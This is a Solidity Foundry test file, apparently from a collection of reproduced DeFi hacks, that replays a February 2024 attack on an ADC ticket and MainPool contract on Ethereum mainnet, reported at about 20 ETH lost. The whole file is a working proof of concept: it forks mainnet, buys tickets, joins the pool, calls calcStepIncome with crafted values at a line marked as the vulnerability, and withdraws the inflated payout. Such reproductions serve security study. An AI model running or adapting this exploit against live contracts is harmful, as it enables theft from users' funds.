src/test/2024-02/ADC_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "./../interface.sol";
5 
6// @KeyInfo -- Total Lost : ~20 ETH
7// TX : https://app.blocksec.com/explorer/tx/eth/0xcf834aff4de9992f5da9c443600dad9c6277a8a00de5007842fece51564992db
8// Attacker : https://etherscan.io/address/0x24a0c66f185874b251eb70bee2c2e35e39848419
9// Attack Contract : https://etherscan.io/address/0x2ffdce5f0c09a8ee3a568bc01f35894b2d77a6d6
10// GUY : https://x.com/EXVULSEC/status/1753294675971313790
11 
12interface Ticket is IERC20 {
13    function buyADC() external payable;
14    function getRID() external view returns (uint256 rid_);
15}
16 
17interface MainPool {
18    struct Player {
19        //uint256 pID;
20        uint256 ticketInCost; // how many eth can join
21        uint256 withdrawAmount; // how many eth can join
22        uint256 startTime; // join the game time
23        uint256 totalSettled; // rturn  funds
24        uint256 staticIncome;
25        uint256 lastCalcSITime; // last Calc staticIncome Time
26        //uint256 lastCalcDITime; //  last Calc dynamicIncome Time
27        uint256 dynamicIncome; //  last Calc dynamicIncome
28        uint256 stepIncome;
29        bool isActive; // 1 mean is 10eth,2 have new one son,3,
30        bool isAlreadGetIns; // already get insePoolBalance income;
31    }
32 
33    function joinGame(
34        address parentAddr
35    ) external payable;
36    function calcStepIncome(uint256 pid_, uint256 value_, uint8 dividendAccount_) external;
37    function withdraw() external;
38    function getMainPoolWithdrawBalance(
39        uint256 index
40    ) external view returns (uint256);
41    function getRID() external view returns (uint256 rid_);
42    function mainPoolWithdrawBalance(
43        uint256 index
44    ) external view returns (uint256);
45    function plyr(uint256 rid, uint256 pid) external view returns (Player memory);
46    function plyrID(
47        address _add
48    ) external view returns (uint256);
49}
50 
51contract Exploit is Test {
52    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
53    Ticket tick = Ticket(0xaE2C7af5fc2dDF45e6250a4C5495e61afC7AcF50);
54    MainPool mainpool = MainPool(0xdE46fcF6aB7559E4355b8eE3D7fBa0f2730CDdd8);
55    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
56    IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
57    IERC20 AAVEETH = IERC20(0x0B925eD163218f6662a35e0f0371Ac234f9E9371);
58    IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
59    IUniswapV2Router UniRouter = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
60 
61    event TokensBought(uint256 amount);
62 
63    IAaveFlashloan AAVE = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
64    Help Helper;
65 
66    function setUp() public {
67        cheats.createSelectFork("mainnet", 19_138_640);
68    }
69 
70    function testexploit() public payable {
71        Helper = new Help{value: 18 ether}();
72 
73        WETH.approve(address(mainpool), 18 ether);
74        WETH.approve(address(tick), 18 ether);
75        WETH.approve(address(Helper), 18 ether);
76 
77        Helper.startwith();
78        emit log_named_decimal_uint("Attacker WETH balance after exploit", address(Helper).balance, 18);
79    }
80 
81    fallback() external payable {}
82}
83 
84contract Help is Test {
85    Ticket tick = Ticket(0xaE2C7af5fc2dDF45e6250a4C5495e61afC7AcF50);
86    MainPool mainpool = MainPool(0xdE46fcF6aB7559E4355b8eE3D7fBa0f2730CDdd8);
87    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
88 
89    IWETH WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
90 
91    constructor() public payable {
92        emit log_named_decimal_uint("Attacker WETH balance before exploit", address(this).balance, 18);
93        tick.buyADC{value: 3 ether}();
94        mainpool.joinGame{value: 15 ether}(address(msg.sender));
95        //vulnerability.
96        mainpool.calcStepIncome(529, 36_099_999_999_999_999_900, 100);
97    }
98 
99    function startwith() external {
100        mainpool.withdraw();
101    }
102 
103    fallback() external payable {}
104}